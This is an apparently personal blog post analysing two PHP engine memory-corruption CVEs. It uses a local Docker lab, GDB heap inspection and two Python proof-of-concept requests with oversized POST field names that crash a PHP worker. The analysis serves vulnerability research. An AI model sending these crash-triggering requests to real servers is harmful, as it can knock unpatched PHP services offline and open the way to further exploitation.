November 1, 2026
PHP2Shell: Understanding Two Critical PHP Runtime Vulnerabilities Through GDB
Most web vulnerabilities are application-layer problems: an unescaped query here, a missing authorization check there. But occasionally, aโฆ

By Samarth Patel
5 min read
Most web vulnerabilities are application-layer problems: an unescaped query here, a missing authorization check there. But occasionally, a bug lives entirely inside the language runtime, firing before a single line of your actual application code is even executed.
CVE-2026โ109618 and CVE-2026โ109619, associated with the PHP2Shell exploit chain, are prime examples.
These vulnerabilities aren't caused by bad code in a framework or plugin. They involve how PHP handles request lifecycles, memory allocation, global state, and cleanup inside persistent worker environments.
To understand how a malformed HTTP request can turn into memory corruption and potentially remote code execution, we have to look past userland PHP and trace how the engine manages memory at the C level.
1. Under the Hood: How PHP Processes a Request
Before a single line of your .php code runs, PHP's underlying C engine processes the incoming HTTP request. In worker-reuse environments like Apache mod_php or PHP-FPM, this happens inside a persistent process lifecycle.
[HTTP Request]
|
v
[SAPI Layer]
|
v
php_request_startup()
|
v
[POST Data Parsing]
|
+------+------+
| |
v v
multipart/form URL-encoded
rfc1867 handler POST handler
| |
+------+------+
|
v
[Userland Script Execution]
|
v
php_request_shutdown() [HTTP Request]
|
v
[SAPI Layer]
|
v
php_request_startup()
|
v
[POST Data Parsing]
|
+------+------+
| |
v v
multipart/form URL-encoded
rfc1867 handler POST handler
| |
+------+------+
|
v
[Userland Script Execution]
|
v
php_request_shutdown()When a multipart/form-data request arrives, PHP's internal multipart parser (main/rfc1867.c) handles file uploads and form fields. If session upload progress is enabled, PHP also processes upload-progress information during this stage.
All of this happens inside the PHP engine, before the application gets control.
The engine uses the Zend Memory Manager (Zend MM) to manage memory allocated during request processing. Under normal conditions, request-owned data is released when the request shuts down.
The interesting part is what happens when this lifecycle is interrupted by an abnormal condition. If an error occurs while internal request state is only partially initialized, cleanup may operate on inconsistent data. In other cases, request-owned state can survive beyond the lifetime of the memory it references.
This becomes particularly interesting in persistent workers, where the same process can handle multiple requests.
2. Understanding the Two Vulnerabilities
The two CVEs address related but distinct problems.
CVE-2026โ109618 โ Out-of-memory corruption
PHP can run out of memory while internal request data is only partially initialized. The allocation failure interrupts normal execution, but the cleanup path may subsequently treat the incomplete data as valid.
This creates an opportunity for memory corruption during request teardown.
CVE-2026โ109619 โ Stale global state
Some internal state owned by a request can survive after the memory backing it has been freed. In a persistent worker environment, the next request may encounter this stale state before normal request initialization resets it.
3. Practical Reproduction: Investigating PHP's Memory
I wanted to understand what happens inside PHP rather than simply rely on the vulnerability description.
For this, I created a local debugging environment using PHP 8.5.11 with debug symbols, Apache prefork, and GDB.
The idea was to observe memory allocation during request processing, trigger an allocation failure, inspect the state during shutdown, and then send another request to the same worker.
3.1 Environment Setup and Process Isolation
I used a custom PHP debug build inside the official Apache PHP image.
The important configuration choices were:
- PHP compiled with debug symbols.
- A low
memory_limitto observe allocation failures. - GDB installed inside the container.
- Apache prefork configured with a single worker.
Using a single worker is important because I wanted both requests to be handled by the same Apache child process.
Here is the relevant Dockerfile configuration:
FROM php:8.5.11-apache
# Replace stock PHP binaries with the custom debug build.
COPY php-build/libphp.so /usr/lib/apache2/modules/libphp.so
COPY php-build/php /usr/local/bin/php
ENV PHP_INI_SCAN_DIR=/usr/local/etc/php/conf.d
# Remove extensions compiled against the stock PHP build.
RUN rm -f /usr/local/etc/php/conf.d/docker-php-ext-*.ini
RUN printf '%s\n' \
"memory_limit = 16M" \
"post_max_size = 32M" \
> /usr/local/etc/php/conf.d/memory-limit.ini
COPY index.php /var/www/html/index.php
# Configure Apache to use a single prefork worker.
RUN printf '%s\n' \
'ServerName localhost' \
'<IfModule mpm_prefork_module>' \
' StartServers 1' \
' MinSpareServers 1' \
' MaxSpareServers 1' \
' MaxRequestWorkers 1' \
' ServerLimit 1' \
'</IfModule>' \
> /etc/apache2/conf-available/single-worker.conf \
&& a2enconf single-worker
RUN apt-get update \
&& apt-get install -y --no-install-recommends gdb procps \
&& rm -rf /var/lib/apt/lists/*FROM php:8.5.11-apache
# Replace stock PHP binaries with the custom debug build.
COPY php-build/libphp.so /usr/lib/apache2/modules/libphp.so
COPY php-build/php /usr/local/bin/php
ENV PHP_INI_SCAN_DIR=/usr/local/etc/php/conf.d
# Remove extensions compiled against the stock PHP build.
RUN rm -f /usr/local/etc/php/conf.d/docker-php-ext-*.ini
RUN printf '%s\n' \
"memory_limit = 16M" \
"post_max_size = 32M" \
> /usr/local/etc/php/conf.d/memory-limit.ini
COPY index.php /var/www/html/index.php
# Configure Apache to use a single prefork worker.
RUN printf '%s\n' \
'ServerName localhost' \
'<IfModule mpm_prefork_module>' \
' StartServers 1' \
' MinSpareServers 1' \
' MaxSpareServers 1' \
' MaxRequestWorkers 1' \
' ServerLimit 1' \
'</IfModule>' \
> /etc/apache2/conf-available/single-worker.conf \
&& a2enconf single-worker
RUN apt-get update \
&& apt-get install -y --no-install-recommends gdb procps \
&& rm -rf /var/lib/apt/lists/*3.2 Inspecting the Zend MM Heap
Before triggering the crash, I wanted to understand where PHP's memory manager keeps its internal structures.
I placed breakpoints around three important functions:
php_request_startup()โ initializes the PHP request context.rfc1867_post_handler()โ handles multipart form data.php_request_shutdown()โ performs request teardown.
I then sent a multipart request containing a very large field name. The intention was to trigger an allocation failure while PHP was still processing the request, before the application code could execute.
Here is the request:
import urllib.request
b = "----------------boundary123"
p1 = (
"--" + b +
"\r\nContent-Disposition: form-data; name=\"\"\r\n\r\n" +
("A" * 276) + "\r\n"
)
p2 = (
"--" + b +
"\r\nContent-Disposition: form-data; name=\"a\"\r\n\r\n" +
"1\r\n"
)
p3 = (
"--" + b +
"\r\nContent-Disposition: form-data; name=\"" +
("B" * 7000000) +
"[x]\"\r\n\r\n1\r\n"
)
tail = "--" + b + "--\r\n"
body = (p1 + p2 + p3 + tail).encode("latin1")
req = urllib.request.Request(
"http://localhost:8089/index.php",
data=body,
headers={
"Content-Type": "multipart/form-data; boundary=" + b
}
)
try:
with urllib.request.urlopen(req) as resp:
print(resp.read().decode())
except Exception as e:
print("Triggered expected exception / connection drop:", e)import urllib.request
b = "----------------boundary123"
p1 = (
"--" + b +
"\r\nContent-Disposition: form-data; name=\"\"\r\n\r\n" +
("A" * 276) + "\r\n"
)
p2 = (
"--" + b +
"\r\nContent-Disposition: form-data; name=\"a\"\r\n\r\n" +
"1\r\n"
)
p3 = (
"--" + b +
"\r\nContent-Disposition: form-data; name=\"" +
("B" * 7000000) +
"[x]\"\r\n\r\n1\r\n"
)
tail = "--" + b + "--\r\n"
body = (p1 + p2 + p3 + tail).encode("latin1")
req = urllib.request.Request(
"http://localhost:8089/index.php",
data=body,
headers={
"Content-Type": "multipart/form-data; boundary=" + b
}
)
try:
with urllib.request.urlopen(req) as resp:
print(resp.read().decode())
except Exception as e:
print("Triggered expected exception / connection drop:", e)Once execution reached php_request_shutdown(), I inspected the Zend MM heap pointer using GDB:
(gdb) p alloc_globals.mm_heap
$2 = (zend_mm_heap *) 0xffff9b200040(gdb) p alloc_globals.mm_heap
$2 = (zend_mm_heap *) 0xffff9b200040This gives us the address of the zend_mm_heap structure.
It is important to understand that this is the location of the allocator's bookkeeping structure, not necessarily the beginning of the heap's memory region.
For an initial look at the request's memory footprint, I searched a memory range for the byte pattern corresponding to eight consecutive B characters:
(gdb) find/g 0xffff9b200040, 0xffff9d000000, 0x4242424242424242(gdb) find/g 0xffff9b200040, 0xffff9d000000, 0x4242424242424242The inspected range is approximately 30 MiB.
After allowing the request to complete, I repeated the search. The same B pattern was still visible at addresses such as:
0xffff9b25e000
0xffff9b25e001
0xffff9b25e002
0xffff9b25e003
0xffff9b25e004
...0xffff9b25e000
0xffff9b25e001
0xffff9b25e002
0xffff9b25e003
0xffff9b25e004
...This was an interesting observation. Even after the request lifecycle had completed, the contents of the large field name were still visible in the inspected memory range.
There is an important distinction here: the presence of residual bytes does not necessarily mean that the corresponding allocation is still active. Freed memory can retain its old contents until another allocation overwrites it.
However, this gives us a useful starting point for investigating the request's memory footprint and understanding how memory behaves during abnormal request termination.
3.3 Triggering the Segmentation Fault
After the first request completed, I sent a second request to the same Apache instance.
Unlike the first request, this one uses application/x-www-form-urlencoded instead of multipart/form-data. It contains a large parameter name, but follows a different POST parsing path.
#!/usr/bin/env python3
import http.client
# Must remain below post_max_size (32 MiB in your container).
# Adjust upward until the allocation fails during request initialization.
key_size = 4_000_000
body = (
b"=" + (b"A" * 276) +
b"&a=1&" +
(b"K" * key_size) + b"[x]=1"
)
conn = http.client.HTTPConnection("127.0.0.1", 8089, timeout=30)
conn.request(
"POST",
"/index.php",
body=body,
headers={
"Content-Type": "application/x-www-form-urlencoded",
"Content-Length": str(len(body)),
},
)
response = conn.getresponse()
print(response.status, response.reason)
print(response.read().decode("utf-8", "replace"))#!/usr/bin/env python3
import http.client
# Must remain below post_max_size (32 MiB in your container).
# Adjust upward until the allocation fails during request initialization.
key_size = 4_000_000
body = (
b"=" + (b"A" * 276) +
b"&a=1&" +
(b"K" * key_size) + b"[x]=1"
)
conn = http.client.HTTPConnection("127.0.0.1", 8089, timeout=30)
conn.request(
"POST",
"/index.php",
body=body,
headers={
"Content-Type": "application/x-www-form-urlencoded",
"Content-Length": str(len(body)),
},
)
response = conn.getresponse()
print(response.status, response.reason)
print(response.read().decode("utf-8", "replace"))In my local reproduction, the second request caused the worker to terminate with a segmentation fault:
3.5 From Memory Corruption to Remote Code Execution
A segmentation fault is not the end goal of an exploit. It is one possible outcome of accessing invalid memory.
The more serious possibility is manipulating the corrupted state so that PHP uses attacker-controlled data where it expects valid internal structures.
The PHP2Shell exploit chain demonstrates how the two vulnerabilities can be combined to achieve this.
4. Conclusion
What makes these vulnerabilities interesting is that the application itself is not necessarily involved in triggering them.
The failure happens inside PHP's request lifecycle, while the engine is still processing incoming data. An out-of-memory condition or an abnormal cleanup path can leave internal state inconsistent. In a persistent worker environment, that state can potentially affect a later request handled by the same process.
Reference